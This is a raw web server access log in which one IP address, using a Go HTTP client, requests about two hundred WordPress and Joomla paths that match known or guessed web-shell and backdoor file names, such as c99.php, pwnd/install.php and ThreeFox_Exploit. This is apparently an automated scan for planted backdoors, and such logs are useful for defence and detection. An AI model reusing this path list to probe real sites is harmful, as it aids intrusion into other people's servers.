- [03/Apr/2025:20:47:23 -0400] "GET /wp-content/click.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:47:24 -0400] "GET /wp-admin/plugins.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:47:25 -0400] "GET /product.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:47:27 -0400] "GET /wp-log1n.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:47:28 -0400] "GET /wp-content/wp-log1n.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:47:29 -0400] "GET /wp-admin/item.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:47:30 -0400] "GET /wp-admin/product.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:47:31 -0400] "GET /wp-includes/networks.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:47:32 -0400] "GET /wp-content/options.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:47:33 -0400] "GET /wp-content/networks.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:47:35 -0400] "GET /options.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:47:36 -0400] "GET /item.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:47:37 -0400] "GET /wp-content/themes/admin.php?taf HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:47:39 -0400] "GET /wp-admin/maint/smile.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:47:40 -0400] "GET /wp-admin/maint/wp-act.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:47:41 -0400] "GET /wp-content/plugins/WordPressCore/admin.php? HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:47:42 -0400] "GET /wp-content/plugins/WordPressCore/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:47:43 -0400] "GET /wp-admin/maint/go.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:47:44 -0400] "GET /rcc.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:47:45 -0400] "GET /sellSEX.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:47:47 -0400] "GET /rbh/log.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:47:48 -0400] "GET /wp-admin/network/login.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:47:49 -0400] "GET /wp-content/plugins/hello-dolly/hello.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:47:51 -0400] "GET /administrator/templates/hathor/index.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:47:53 -0400] "GET /administrator/templates/isis/index.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:47:55 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/udd.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:47:56 -0400] "GET /templates/beez3/error.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:47:57 -0400] "GET /templates/beez5/index.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:47:59 -0400] "GET /templates/protostar/index.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:48:01 -0400] "GET /templates/atomic/index.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:48:03 -0400] "GET /templates/atomic/error.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:48:04 -0400] "GET /api/5572214/envelope/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:48:05 -0400] "GET /default.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:48:06 -0400] "GET /dichku.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:48:08 -0400] "GET /aa.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:48:09 -0400] "GET /wp-content/uploads/wp.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:48:10 -0400] "GET /wp-includes/html-api/chosen.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:48:12 -0400] "GET /wsa.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:48:13 -0400] "GET /.well-known/xp.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:48:15 -0400] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:48:16 -0400] "GET /wp-trackback.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:48:17 -0400] "GET /wp-includes/index.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:48:18 -0400] "GET /wp-content/themes/alera/alpha.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:48:19 -0400] "GET /as/function.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:48:21 -0400] "GET /components/com_jea/views/form/tmpl/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:48:22 -0400] "GET /wp-content/plugins/pwnd/install.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:48:23 -0400] "GET /wp-includes/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:48:24 -0400] "GET /wp-admin/maint/cong.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:48:25 -0400] "GET /wp-admin/function.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:48:26 -0400] "GET /config.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:48:27 -0400] "GET /system_log.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:48:28 -0400] "GET /wp-includes/blocks/button/index.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:48:30 -0400] "GET /wp-admin/css/colors/ocean/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:48:31 -0400] "GET /css/content.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:48:32 -0400] "GET /wp-admin/images/module.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:48:33 -0400] "GET /wp-includes/block-supports/index.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:48:35 -0400] "GET /ss.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:48:36 -0400] "GET /inputs.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:48:37 -0400] "GET /.well-known/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:48:38 -0400] "GET /wp-includes/certificates/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:48:39 -0400] "GET /wp-admin/maint/maint.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:48:40 -0400] "GET /wp-content/themes/index.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:48:41 -0400] "GET /wp-includes/SimplePie/Canonical.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:48:42 -0400] "GET /cgi-bin/index.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:48:43 -0400] "GET /wp-content/themes/cay-van-phong/skibidi.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:48:45 -0400] "GET /wp-includes/assets/zzkmr.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:48:46 -0400] "GET /wp-user.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:48:47 -0400] "GET /.well-known/acme-challenge/install.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:48:48 -0400] "GET /wp-admin/css/colors/blue/colors.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:48:49 -0400] "GET /wp-content/autoload_classmap.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:48:50 -0400] "GET /core.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:48:52 -0400] "GET /wp-admin/includes/classwithtostring.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:48:53 -0400] "GET /wp-admin/12.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:48:54 -0400] "GET /index/as.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:48:55 -0400] "GET /webdb.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:48:56 -0400] "GET /adminfuns.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:48:58 -0400] "GET /duck.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:48:59 -0400] "GET /wp-includes/style-engine/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:49:00 -0400] "GET /fonts/g12.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:49:01 -0400] "GET /images/dedi1.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:49:02 -0400] "GET /.well-known/pki-validation/xp.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:49:03 -0400] "GET /pages.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:49:04 -0400] "GET /k.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:49:05 -0400] "GET /images/12.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:49:06 -0400] "GET /readme.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:49:08 -0400] "GET /wp-admin/css/colors/blue/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:49:09 -0400] "GET /wp-admin/css/colors/HaUaphPh.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:49:10 -0400] "GET /wp-admin/atomlib.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:49:11 -0400] "GET /cc.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:49:13 -0400] "GET /wp-includes/PHPMailer/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:49:14 -0400] "GET /dedi1.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:49:15 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/dedi1.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:49:17 -0400] "GET /wp-content/uploads/2023/index.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:49:18 -0400] "GET /wp-includes/images/media/fm.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:49:20 -0400] "GET /wp-admin/maint/wp-login.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:49:21 -0400] "GET /bless.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:49:22 -0400] "GET /wp-includes/radio.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:49:23 -0400] "GET /wp-includes/ID3/item.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:49:24 -0400] "GET /ova.php4https:/worldbdsm.net/moon.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:49:25 -0400] "GET /wp-includes/dedi1.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:49:26 -0400] "GET /wp-includes/class-wp-lock.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:49:27 -0400] "GET /.well-known/dedi1.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:49:29 -0400] "GET /.well-known/acme-challenge/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:49:30 -0400] "GET /fun.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:49:31 -0400] "GET /.well-known/index.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:49:32 -0400] "GET /wp-editor.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:49:34 -0400] "GET /db.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:49:35 -0400] "GET /.well-known/atomlib.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:49:36 -0400] "GET /firewall.php7 HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:49:37 -0400] "GET /wp-confiq.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:49:38 -0400] "GET /wp-admin/options.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:49:40 -0400] "GET /wp-content/plugins/include.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:49:41 -0400] "GET /gecko.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:49:42 -0400] "GET /gettest.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:49:43 -0400] "GET /wp-admin/css/colors/blue/function.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:49:44 -0400] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:49:46 -0400] "GET /wp-includes/packed.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:49:47 -0400] "GET /retu11.PhP7 HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:49:48 -0400] "GET /wp-includes/sitemaps/autoload_classmap.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:49:49 -0400] "GET /app.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:49:51 -0400] "GET /init.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:49:52 -0400] "GET /index.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:49:54 -0400] "GET /wp-content/themes/astra/inc/ki1k.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:49:55 -0400] "GET /wp-admin/css/colors/modern/alfa-rex.php8 HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:49:56 -0400] "GET /wp-includes/rk2.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:49:57 -0400] "GET /cgi-bin/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:49:58 -0400] "GET /wp-admin/js/widgets/fsieps.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:49:59 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:50:01 -0400] "GET /wp-crom.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:50:02 -0400] "GET /account.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:50:04 -0400] "GET /bak.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:50:05 -0400] "GET /.well-known/acme-challenge/atomlib.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:50:06 -0400] "GET /wp-atom.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:50:09 -0400] "GET /wp-content/uploads/chosen.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:50:11 -0400] "GET /wp-includes/ID3/module.audio.ogg-pointer.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:50:12 -0400] "GET /wp-content/themes/sky-pro/js.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:50:13 -0400] "GET /wp-content/plugins/pwnd/wp-login.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:50:15 -0400] "GET /wp-includes/Requests/index.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:50:16 -0400] "GET /brand.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:50:17 -0400] "GET /wp-content/plugins/wordpress-three/miin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:50:18 -0400] "GET /.well-known/gecko-litespeed.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:50:21 -0400] "GET /wp-admin/setup-config.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:50:22 -0400] "GET /wp-content/ThreeFox_Exploit/index.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:50:24 -0400] "GET /wp-content/plugins/pwnd/1.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:50:25 -0400] "GET /templates/atomic/templates.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:50:26 -0400] "GET /yasnu.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:50:27 -0400] "GET /wp-includes/blocks/navigation-submenu/index.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:50:29 -0400] "GET /themes/zMousse/otuz1.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:50:30 -0400] "GET /wordpress/wp-includes/block-supports/index.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:50:32 -0400] "GET /wp-includes/profile.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:50:34 -0400] "GET /ac.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:50:35 -0400] "GET /wp-includes/classwithtostring.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:50:36 -0400] "GET /wp-content/plugins/helloapx/wp-apxupx.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:50:37 -0400] "GET /sts.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:50:38 -0400] "GET /loger.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:50:40 -0400] "GET /.tmb/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:50:41 -0400] "GET /l.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:50:42 -0400] "GET /cgi-bin/install.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:50:43 -0400] "GET /wp-content/uploads/install.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:50:44 -0400] "GET /index2.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:50:45 -0400] "GET /87.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:50:47 -0400] "GET /nf_tracking.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:50:48 -0400] "GET /wp-includes/ID3/about.php/wp-content/x/index.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:50:50 -0400] "GET /wp-includes/widgets/class-wp-widget-categories-private.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:50:51 -0400] "GET /wp-content/tfr.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:50:52 -0400] "GET /OVA-TOOLS-Private.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:50:53 -0400] "GET /images/c99.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:50:54 -0400] "GET /wp-includes/iz0r8xhwBh.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:50:56 -0400] "GET /.well-known/bs3.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:50:57 -0400] "GET /wp-admin/css/colors/ectoplasm/unslimnesss.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:50:58 -0400] "GET /poi.PhP8/search.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:51:00 -0400] "GET /wp-admin/js/about.php7 HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:51:01 -0400] "GET /cgi-bin/moon.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:51:02 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/install.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:51:03 -0400] "GET /wp-includes/css/dist/editor/fxp.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:51:05 -0400] "GET /wp-admin/css/colors/modern/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:51:06 -0400] "GET /simple/function.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:51:07 -0400] "GET /mariju.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:51:08 -0400] "GET /an.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:51:10 -0400] "GET /av.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:51:11 -0400] "GET /hi.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:51:12 -0400] "GET /wp-admin/user/wp-login.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:51:14 -0400] "GET /wp-content/themes/hello-element/footer.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:51:15 -0400] "GET /files/index.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:51:17 -0400] "GET /wp-admin/css/colors/blue/wp-login.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:51:18 -0400] "GET /wp-content/plugins/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:51:19 -0400] "GET /.well-known/pki-validation/404.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:51:20 -0400] "GET /wp-admin/index.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:51:22 -0400] "GET /wp-includes/theme-compat/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:51:23 -0400] "GET /wp-content/uploads/apache.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:51:24 -0400] "GET /blog/wp-includes/deprecated-index.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:51:25 -0400] "GET /heh.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:51:26 -0400] "GET /wp-admin/css/colors/blue/atomlib.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:51:27 -0400] "GET /.well-known/acme-challenge/aboud.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:51:28 -0400] "GET /uploads/jp.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:51:30 -0400] "GET /wp-includes/IXR/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:51:31 -0400] "GET /.well-known/cong.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:51:32 -0400] "GET /wp-admin/autoload_classmap.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - [03/Apr/2025:20:51:33 -0400] "GET /wp-admin/images/dichku.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.5.82.47 - - 